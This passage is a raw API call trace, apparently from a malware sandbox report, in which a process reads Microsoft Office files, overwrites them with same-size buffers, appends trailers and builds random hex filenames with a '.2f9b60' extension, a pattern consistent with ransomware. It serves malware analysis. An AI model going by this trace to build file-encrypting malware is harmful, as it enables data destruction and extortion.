RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429f8ed0 [0187.254] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbd80 [0187.254] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbe70 [0187.255] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbe70) returned 1 [0187.255] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307b80) returned 1 [0187.256] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bed0) returned 1 [0187.256] WriteFile (in: hFile=0x11e4, lpBuffer=0x429f8ed0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3274f9e0, lpOverlapped=0x0 | out: lpBuffer=0x429f8ed0*, lpNumberOfBytesWritten=0x3274f9e0*=0x3c00, lpOverlapped=0x0) returned 1 [0205.565] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429f8ed0) returned 1 [0205.565] SetFilePointerEx (in: hFile=0x11e4, liDistanceToMove=0xfb84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.565] ReadFile (in: hFile=0x11e4, lpBuffer=0x429b52c0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3274f9e0, lpOverlapped=0x0 | out: lpBuffer=0x429b52c0*, lpNumberOfBytesRead=0x3274f9e0*=0x3c00, lpOverlapped=0x0) returned 1 [0205.566] SetFilePointerEx (in: hFile=0x11e4, liDistanceToMove=0xfb84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.566] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61600 [0205.566] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb2e0 [0205.566] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9350 [0205.567] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9350) returned 1 [0205.567] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429f8ed0 [0205.568] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9350 [0205.568] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb6f0 [0205.569] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb6f0) returned 1 [0205.569] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb2e0) returned 1 [0205.570] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61600) returned 1 [0205.570] WriteFile (in: hFile=0x11e4, lpBuffer=0x429f8ed0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3274f9e0, lpOverlapped=0x0 | out: lpBuffer=0x429f8ed0*, lpNumberOfBytesWritten=0x3274f9e0*=0x3c00, lpOverlapped=0x0) returned 1 [0205.572] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429f8ed0) returned 1 [0205.572] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x431a0390 [0205.573] SetFilePointerEx (in: hFile=0x11e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0205.573] WriteFile (in: hFile=0x11e4, lpBuffer=0x134100*, nNumberOfBytesToWrite=0x14a, lpNumberOfBytesWritten=0x3274fa90, lpOverlapped=0x0 | out: lpBuffer=0x134100*, lpNumberOfBytesWritten=0x3274fa90*=0x14a, lpOverlapped=0x0) returned 1 [0208.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61650 [0208.961] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb360 [0208.961] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddaf40 [0208.962] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddaf40) returned 1 [0208.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d520 [0208.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddaf40 [0208.963] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddaf10 [0208.963] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddaf10) returned 1 [0208.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb360) returned 1 [0208.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61650) returned 1 [0208.964] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x431ac9e0 [0208.964] sprintf (in: _Dest=0x431ac9e0, _Format="%c%c" | out: _Dest="99") returned 2 [0208.964] sprintf (in: _Dest=0x431ac9e2, _Format="%c%c" | out: _Dest="81") returned 2 [0208.964] sprintf (in: _Dest=0x431ac9e4, _Format="%c%c" | out: _Dest="1b") returned 2 [0208.964] sprintf (in: _Dest=0x431ac9e6, _Format="%c%c" | out: _Dest="03") returned 2 [0208.964] sprintf (in: _Dest=0x431ac9e8, _Format="%c%c" | out: _Dest="b0") returned 2 [0208.964] sprintf (in: _Dest=0x431ac9ea, _Format="%c%c" | out: _Dest="32") returned 2 [0208.964] sprintf (in: _Dest=0x431ac9ec, _Format="%c%c" | out: _Dest="a1") returned 2 [0208.965] sprintf (in: _Dest=0x431ac9ee, _Format="%c%c" | out: _Dest="d7") returned 2 [0208.965] sprintf (in: _Dest=0x431ac9f0, _Format="%c%c" | out: _Dest="80") returned 2 [0208.965] sprintf (in: _Dest=0x431ac9f2, _Format="%c%c" | out: _Dest="10") returned 2 [0208.965] sprintf (in: _Dest=0x431ac9f4, _Format="%c%c" | out: _Dest="f0") returned 2 [0208.965] sprintf (in: _Dest=0x431ac9f6, _Format="%c%c" | out: _Dest="ae") returned 2 [0208.965] sprintf (in: _Dest=0x431ac9f8, _Format="%c%c" | out: _Dest="ee") returned 2 [0208.965] sprintf (in: _Dest=0x431ac9fa, _Format="%c%c" | out: _Dest="34") returned 2 [0208.965] sprintf (in: _Dest=0x431ac9fc, _Format="%c%c" | out: _Dest="27") returned 2 [0208.965] sprintf (in: _Dest=0x431ac9fe, _Format="%c%c" | out: _Dest="4b") returned 2 [0208.965] sprintf (in: _Dest=0x431aca00, _Format="%c%c" | out: _Dest="02") returned 2 [0208.965] sprintf (in: _Dest=0x431aca02, _Format="%c%c" | out: _Dest="8e") returned 2 [0208.965] sprintf (in: _Dest=0x431aca04, _Format="%c%c" | out: _Dest="9d") returned 2 [0208.965] sprintf (in: _Dest=0x431aca06, _Format="%c%c" | out: _Dest="34") returned 2 [0208.965] sprintf (in: _Dest=0x431aca08, _Format="%c%c" | out: _Dest="37") returned 2 [0208.965] sprintf (in: _Dest=0x431aca0a, _Format="%c%c" | out: _Dest="bb") returned 2 [0208.965] sprintf (in: _Dest=0x431aca0c, _Format="%c%c" | out: _Dest="43") returned 2 [0208.965] sprintf (in: _Dest=0x431aca0e, _Format="%c%c" | out: _Dest="9e") returned 2 [0208.965] RtlInitAnsiString (in: DestinationString=0x3274fb08, SourceString="99811b03b032a1d78010f0aeee34274b028e9d3437bb439e" | out: DestinationString="99811b03b032a1d78010f0aeee34274b028e9d3437bb439e") [0208.965] RtlAnsiStringToUnicodeString (in: DestinationString=0x3274fad8, SourceString="99811b03b032a1d78010f0aeee34274b028e9d3437bb439e", AllocateDestinationString=1 | out: DestinationString="99811b03b032a1d78010f0aeee34274b028e9d3437bb439e") returned 0x0 [0208.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x431a02b0 [0208.966] wcscat (in: _Dest=0x431a19b0, _Source="99811b03b032" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\99811b03b032") returned="C:\\Program Files\\Microsoft Office\\Office14\\99811b03b032" [0208.966] wcscat (in: _Dest=0x431a19b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\99811b03b032.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\99811b03b032.2f9b60" [0208.966] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\99811b03b032.2f9b60", NtPathName=0x3274fab0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\99811b03b032.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0208.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x431ec610 Thread: id = 2578 os_tid = 0x20b4 [0155.924] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1ce245a0 [0155.925] wcscpy (in: _Dest=0x1ce245a0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\XLSTART" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\XLSTART") returned="C:\\Program Files\\Microsoft Office\\Office14\\XLSTART" [0155.925] wcscat (in: _Dest=0x1ce245a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\XLSTART\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\XLSTART\\" [0155.925] wcscat (in: _Dest=0x1ce245a0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\XLSTART\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\XLSTART\\*" [0155.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd98d00 [0155.925] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\XLSTART\\*", lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced58c0 [0155.925] wcscmp (_String1=".", _String2=".") returned 0 [0155.925] FindNextFileW (in: hFindFile=0x1ced58c0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.925] wcscmp (_String1="..", _String2=".") returned 1 [0155.925] wcscmp (_String1="..", _String2="..") returned 0 [0155.925] FindNextFileW (in: hFindFile=0x1ced58c0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0155.925] FindClose (in: hFindFile=0x1ced58c0 | out: hFindFile=0x1ced58c0) returned 1 [0155.926] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98d00) returned 1 [0155.926] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce245a0) returned 1 [0155.927] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86eaa0) returned 1 Thread: id = 2579 os_tid = 0x20b8 [0155.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\XML2WORD.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\xml2word.xsl")) returned 0x20 [0155.929] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\XML2WORD.XSL", dwFileAttributes=0x20) returned 1 [0155.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\XML2WORD.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\xml2word.xsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1580 [0155.930] GetFileSizeEx (in: hFile=0x1580, lpFileSize=0x3171fe20 | out: lpFileSize=0x3171fe20*=10321) returned 1 [0155.930] SetFilePointerEx (in: hFile=0x1580, liDistanceToMove=0x284d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.930] ReadFile (in: hFile=0x1580, lpBuffer=0x3171fda0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3171fde8, lpOverlapped=0x0 | out: lpBuffer=0x3171fda0*, lpNumberOfBytesRead=0x3171fde8*=0x4, lpOverlapped=0x0) returned 1 [0156.015] SetFilePointerEx (in: hFile=0x1580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb930 [0156.016] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddba80 [0156.016] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbb10 [0156.016] NtQuerySystemTime (in: CurrentTime=0x3171fce0 | out: CurrentTime=0x3171fce0*=132462177611554000) returned 0x0 [0156.016] RtlRandomEx (in: Seed=0x3171fcd0 | out: Seed=0x3171fcd0) returned 0x36cec19d [0156.016] RtlRandomEx (in: Seed=0x3171fcd0 | out: Seed=0x3171fcd0) returned 0x798f7bc4 [0156.016] RtlRandomEx (in: Seed=0x3171fcd0 | out: Seed=0x3171fcd0) returned 0xaca9cdc [0156.016] RtlRandomEx (in: Seed=0x3171fcd0 | out: Seed=0x3171fcd0) returned 0x7b01960d [0156.016] RtlRandomEx (in: Seed=0x3171fcd0 | out: Seed=0x3171fcd0) returned 0x6a989ebd [0156.016] RtlRandomEx (in: Seed=0x3171fcd0 | out: Seed=0x3171fcd0) returned 0x324e9ca0 [0156.016] RtlRandomEx (in: Seed=0x3171fcd0 | out: Seed=0x3171fcd0) returned 0x1b1f636b [0156.016] RtlRandomEx (in: Seed=0x3171fcd0 | out: Seed=0x3171fcd0) returned 0x1ceed5a0 [0156.016] RtlRandomEx (in: Seed=0x3171fcd0 | out: Seed=0x3171fcd0) returned 0x43d56b0a [0156.016] RtlRandomEx (in: Seed=0x3171fcd0 | out: Seed=0x3171fcd0) returned 0x3088bf21 [0156.016] RtlRandomEx (in: Seed=0x3171fcd0 | out: Seed=0x3171fcd0) returned 0x43481fc4 [0156.017] RtlRandomEx (in: Seed=0x3171fcd0 | out: Seed=0x3171fcd0) returned 0x44edc3f2 [0156.017] RtlRandomEx (in: Seed=0x3171fcd0 | out: Seed=0x3171fcd0) returned 0xaac7678 [0156.017] RtlRandomEx (in: Seed=0x3171fcd0 | out: Seed=0x3171fcd0) returned 0x16b42898 [0156.017] RtlRandomEx (in: Seed=0x3171fcd0 | out: Seed=0x3171fcd0) returned 0x465a5788 [0156.017] RtlRandomEx (in: Seed=0x3171fcd0 | out: Seed=0x3171fcd0) returned 0x14153408 [0156.017] RtlRandomEx (in: Seed=0x3171fcd0 | out: Seed=0x3171fcd0) returned 0x1ab3bede [0156.017] RtlRandomEx (in: Seed=0x3171fcd0 | out: Seed=0x3171fcd0) returned 0x33441949 [0156.017] RtlRandomEx (in: Seed=0x3171fcd0 | out: Seed=0x3171fcd0) returned 0x229db454 [0156.017] RtlRandomEx (in: Seed=0x3171fcd0 | out: Seed=0x3171fcd0) returned 0x31b4ac61 [0156.017] RtlRandomEx (in: Seed=0x3171fcd0 | out: Seed=0x3171fcd0) returned 0x5584260a [0156.017] RtlRandomEx (in: Seed=0x3171fcd0 | out: Seed=0x3171fcd0) returned 0x5dad0f3a [0156.017] RtlRandomEx (in: Seed=0x3171fcd0 | out: Seed=0x3171fcd0) returned 0x29606534 [0156.017] RtlRandomEx (in: Seed=0x3171fcd0 | out: Seed=0x3171fcd0) returned 0x4576b888 [0156.017] RtlRandomEx (in: Seed=0x3171fcd0 | out: Seed=0x3171fcd0) returned 0x6dc208a0 [0156.017] RtlRandomEx (in: Seed=0x3171fcd0 | out: Seed=0x3171fcd0) returned 0x1c36d7a8 [0156.017] RtlRandomEx (in: Seed=0x3171fcd0 | out: Seed=0x3171fcd0) returned 0x43515673 [0156.017] RtlRandomEx (in: Seed=0x3171fcd0 | out: Seed=0x3171fcd0) returned 0x7c24122d [0156.017] RtlRandomEx (in: Seed=0x3171fcd0 | out: Seed=0x3171fcd0) returned 0x36d20669 [0156.017] RtlRandomEx (in: Seed=0x3171fcd0 | out: Seed=0x3171fcd0) returned 0x58d96a33 [0156.017] RtlRandomEx (in: Seed=0x3171fcd0 | out: Seed=0x3171fcd0) returned 0x53ae0388 [0156.017] RtlRandomEx (in: Seed=0x3171fcd0 | out: Seed=0x3171fcd0) returned 0x2fb28361 [0156.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbb40 [0156.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce245a0 [0156.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbb70 [0156.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce245a0) returned 1 [0156.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbb10) returned 1 [0156.028] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb930) returned 1 [0156.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce188c0 [0156.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce245a0 [0156.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb930 [0156.028] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb930) returned 1 [0156.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429b8ed0 [0156.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429bcae0 [0156.029] ReadFile (in: hFile=0x1580, lpBuffer=0x429b8ed0, nNumberOfBytesToRead=0x2851, lpNumberOfBytesRead=0x3171fcd0, lpOverlapped=0x0 | out: lpBuffer=0x429b8ed0*, lpNumberOfBytesRead=0x3171fcd0*=0x2851, lpOverlapped=0x0) returned 1 [0156.051] SetFilePointerEx (in: hFile=0x1580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.051] WriteFile (in: hFile=0x1580, lpBuffer=0x429bcae0*, nNumberOfBytesToWrite=0x2851, lpNumberOfBytesWritten=0x3171fcd4, lpOverlapped=0x0 | out: lpBuffer=0x429bcae0*, lpNumberOfBytesWritten=0x3171fcd4*=0x2851, lpOverlapped=0x0) returned 1 [0162.859] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263fe0 [0162.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263fb0 [0162.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263fb0) returned 1 [0162.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429bcae0) returned 1 [0162.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429b8ed0) returned 1 [0162.861] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce245a0) returned 1 [0162.861] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce188c0) returned 1 [0162.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20263fb0 [0162.862] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce188c0 [0162.862] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce245a0 [0162.862] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261f40 [0162.862] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261f40) returned 1 [0162.862] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20261f40 [0162.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202611f0 [0162.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260380 [0162.863] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260380) returned 1 [0162.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce245a0) returned 1 [0162.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce188c0) returned 1 [0162.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x167700 [0162.865] SetFilePointerEx (in: hFile=0x1580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.865] WriteFile (in: hFile=0x1580, lpBuffer=0x167700*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3171fdf0, lpOverlapped=0x0 | out: lpBuffer=0x167700*, lpNumberOfBytesWritten=0x3171fdf0*=0x10a, lpOverlapped=0x0) returned 1 [0164.824] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18690 [0164.824] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8696c0 [0164.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffba0 [0164.825] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffba0) returned 1 [0164.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d180 [0164.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffba0 [0164.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffb70 [0164.826] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffb70) returned 1 [0164.826] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8696c0) returned 1 [0164.826] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18690) returned 1 [0164.826] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9fcb0 [0164.826] sprintf (in: _Dest=0x1cd9fcb0, _Format="%c%c" | out: _Dest="f8") returned 2 [0164.826] sprintf (in: _Dest=0x1cd9fcb2, _Format="%c%c" | out: _Dest="65") returned 2 [0164.826] sprintf (in: _Dest=0x1cd9fcb4, _Format="%c%c" | out: _Dest="f8") returned 2 [0164.826] sprintf (in: _Dest=0x1cd9fcb6, _Format="%c%c" | out: _Dest="47") returned 2 [0164.826] sprintf (in: _Dest=0x1cd9fcb8, _Format="%c%c" | out: _Dest="01") returned 2 [0164.826] sprintf (in: _Dest=0x1cd9fcba, _Format="%c%c" | out: _Dest="b0") returned 2 [0164.826] sprintf (in: _Dest=0x1cd9fcbc, _Format="%c%c" | out: _Dest="c2") returned 2 [0164.827] sprintf (in: _Dest=0x1cd9fcbe, _Format="%c%c" | out: _Dest="0c") returned 2 [0164.827] sprintf (in: _Dest=0x1cd9fcc0, _Format="%c%c" | out: _Dest="e3") returned 2 [0164.827] sprintf (in: _Dest=0x1cd9fcc2, _Format="%c%c" | out: _Dest="7d") returned 2 [0164.827] sprintf (in: _Dest=0x1cd9fcc4, _Format="%c%c" | out: _Dest="1d") returned 2 [0164.827] sprintf (in: _Dest=0x1cd9fcc6, _Format="%c%c" | out: _Dest="ee") returned 2 [0164.827] sprintf (in: _Dest=0x1cd9fcc8, _Format="%c%c" | out: _Dest="6f") returned 2 [0164.827] sprintf (in: _Dest=0x1cd9fcca, _Format="%c%c" | out: _Dest="17") returned 2 [0164.827] sprintf (in: _Dest=0x1cd9fccc, _Format="%c%c" | out: _Dest="69") returned 2 [0164.827] sprintf (in: _Dest=0x1cd9fcce, _Format="%c%c" | out: _Dest="f8") returned 2 [0164.827] sprintf (in: _Dest=0x1cd9fcd0, _Format="%c%c" | out: _Dest="70") returned 2 [0164.827] sprintf (in: _Dest=0x1cd9fcd2, _Format="%c%c" | out: _Dest="f5") returned 2 [0164.827] sprintf (in: _Dest=0x1cd9fcd4, _Format="%c%c" | out: _Dest="ce") returned 2 [0164.827] sprintf (in: _Dest=0x1cd9fcd6, _Format="%c%c" | out: _Dest="49") returned 2 [0164.827] sprintf (in: _Dest=0x1cd9fcd8, _Format="%c%c" | out: _Dest="6e") returned 2 [0164.827] sprintf (in: _Dest=0x1cd9fcda, _Format="%c%c" | out: _Dest="c9") returned 2 [0164.827] sprintf (in: _Dest=0x1cd9fcdc, _Format="%c%c" | out: _Dest="27") returned 2 [0164.827] sprintf (in: _Dest=0x1cd9fcde, _Format="%c%c" | out: _Dest="3e") returned 2 [0164.827] RtlInitAnsiString (in: DestinationString=0x3171fe68, SourceString="f865f84701b0c20ce37d1dee6f1769f870f5ce496ec9273e" | out: DestinationString="f865f84701b0c20ce37d1dee6f1769f870f5ce496ec9273e") [0164.827] RtlAnsiStringToUnicodeString (in: DestinationString=0x3171fe38, SourceString="f865f84701b0c20ce37d1dee6f1769f870f5ce496ec9273e", AllocateDestinationString=1 | out: DestinationString="f865f84701b0c20ce37d1dee6f1769f870f5ce496ec9273e") returned 0x0 [0164.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b86e1e0 [0164.828] RtlFreeAnsiString (AnsiString="f") [0164.828] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9fcb0) returned 1 [0164.828] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d180) returned 1 [0164.828] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffba0) returned 1 [0164.829] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x167700) returned 1 [0164.829] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261f40) returned 1 [0164.829] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202611f0) returned 1 [0164.829] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263fb0) returned 1 [0164.829] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263fe0) returned 1 [0164.830] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddba80) returned 1 [0164.830] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbb40) returned 1 [0164.830] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbb70) returned 1 [0164.830] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1ced3100 [0164.831] wcscat (in: _Dest=0x1ced3100, _Source="f865f84701b0" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\f865f84701b0") returned="C:\\Program Files\\Microsoft Office\\Office14\\f865f84701b0" [0164.831] wcscat (in: _Dest=0x1ced3100, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\f865f84701b0.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\f865f84701b0.2f9b60" [0164.831] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\f865f84701b0.2f9b60", NtPathName=0x3171fe10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\f865f84701b0.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.831] 